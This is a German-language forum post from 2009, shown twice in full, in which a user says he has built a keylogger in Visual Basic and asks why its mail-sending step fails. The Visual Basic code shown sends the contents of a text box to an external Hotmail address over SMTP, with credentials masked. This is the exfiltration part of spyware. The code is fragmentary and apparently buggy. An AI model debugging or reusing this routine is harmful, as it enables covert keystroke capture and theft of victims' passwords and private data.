latinovic
25.07.2009, 23:52
Hallo Leutz..
Ich habe mir heute mit Visual Basic einen Keylogger programmiert und gecodet ..
ich benutze smtp server als server Programm ..
Der Keylogger funktioniert 99% bis zum Letzten Punkt dann steht da .. email konnte nicht gesendet werde .. Ich habe in meinem Router den Port Freigeschaltet aber ich weiss nicht wie ich das bei meinem Programm smtp server einstellen muss .
ich benutze advanced smtp server 5.5
hier ist mein selbst gecodeter code..
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxxxxxxxxx@hotmail.com" , "(mein passwort)")
SmtpServer.Port = 461
SmtpServer.Host = "smtp.hotmail.de"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("xxxxxxxxxxxxx@hotmail.de")
mail.From = New MailAddress("xxxxxxxxxxxxxx1@hotmail.com")
mail.Subject = "(mein Passwort)"
mail.Body = RichTextBox1.Text
SmtpServer.Send(mail) ( hier zeigt der immer den fehler an .. failed to send mail )
End Sub
End Class
wisst ihr etwa was ich falsch gemacht haben könnte ?
Habe ich falsch gecodet oder habe ich mein smtp server programm falsch eingestellt ..
Danke im Vorraus..
Ich habe mir heute mit Visual Basic einen Keylogger programmiert und gecodet ..
ich benutze smtp server als server Programm ..
Der Keylogger funktioniert 99% bis zum Letzten Punkt dann steht da .. email konnte nicht gesendet werde .. Ich habe in meinem Router den Port Freigeschaltet aber ich weiss nicht wie ich das bei meinem Programm smtp server einstellen muss .
ich benutze advanced smtp server 5.5
hier ist mein selbst gecodeter code..
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxxxxxxxxx@hotmail.com" , "(mein passwort)")
SmtpServer.Port = 461
SmtpServer.Host = "smtp.hotmail.de"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("xxxxxxxxxxxxx@hotmail.de")
mail.From = New MailAddress("xxxxxxxxxxxxxx1@hotmail.com")
mail.Subject = "(mein Passwort)"
mail.Body = RichTextBox1.Text
SmtpServer.Send(mail) ( hier zeigt der immer den fehler an .. failed to send mail )
End Sub
End Class
wisst ihr etwa was ich falsch gemacht haben könnte ?
Habe ich falsch gecodet oder habe ich mein smtp server programm falsch eingestellt ..
Danke im Vorraus..